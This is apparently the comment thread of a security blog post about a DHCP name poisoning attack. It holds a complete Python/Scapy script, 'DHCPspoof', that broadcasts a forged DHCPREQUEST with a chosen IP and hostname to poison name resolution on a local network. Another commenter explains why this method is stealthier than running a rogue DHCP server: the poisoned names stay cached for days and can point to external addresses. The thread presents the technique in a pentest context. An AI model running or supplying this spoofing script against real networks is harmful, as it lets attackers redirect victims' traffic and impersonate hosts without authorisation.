python test.py DHCPspoof (then what?)

Thanks

Shoaib, yes of course, and I doubt that you will see these kind of stuff in some massive attack outbreaks. Though, it is a technique to keep in mind when you do pentest/security audit.

Very good and interesting post. Excellent researched and well explained.

I don’t think so we will see this type of attack vectors in wild for quite some time.

But you never know. Definitely by knowing this we are ahead of bad guys though.

Cheers
Shoaib

I guess that i’m meant to use scapy :P It was presented to me a couple of months ago because of a work for college and since then it appeared to me as a very useful tool on a situation or another.

Anyway, tks Jason, it works fine to me.

“addOptionValue: unknown format for code (61) at t.pl line 15″

So I coded up my own version of your tool using Scapy.

#!/usr/bin/env python

from scapy import *

def usage():
   print "Usage: DHCPspoof  <ip> <name>"
   sys.exit(1)

if len(sys.argv) != 3:
   usage()

requested_ip = sys.argv[1]
requested_name = sys.argv[2]

interface = conf.route.route(requested_ip)[0]
localmac = get_if_hwaddr(interface)
localip = get_if_addr(interface)

print("Sending DHCPREQUEST")

ether = Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
bootp = BOOTP(chaddr=localmac, xid=0x11033000)
dhcpOptions = DHCP(options=[('message-type', 'request'), ('hostname', requested_name), ('requested_addr', requested_ip), ('end')])

packet = ether/ip/udp/bootp/dhcpOptions
sendp(packet)

I’m using Net::DHCP 0.66v.

I’m not so sure that this assumption is as widespread as it may seem. Do yo have any data or perhaps just sample data points from your personal experience with this?

1. You have to host your own DHCP server which means that you need to dedicate your own resources.
2. You need to respond quicker which is not usually a problem but still…
3. You need to host your own DNS which again is a problem.
4. You will affect only clients that renew/release their IPs. Although, I think you might be able to force the client to change their IP in some conditions.

The DHCP Name Poisoning Attack is a lot stealthier. Once the domain is cached it will stay there for usually 5 days, depending how the attacked DHCP and DNS services are configured. Sometimes you can map names to external IP ranges. You don’t need dedicated DHCP server for that. You don’t have to host your own DNS. You don’t have to be quicker. And you don’t have to wait.

http://www.robertjbrown.com/20.....etect.html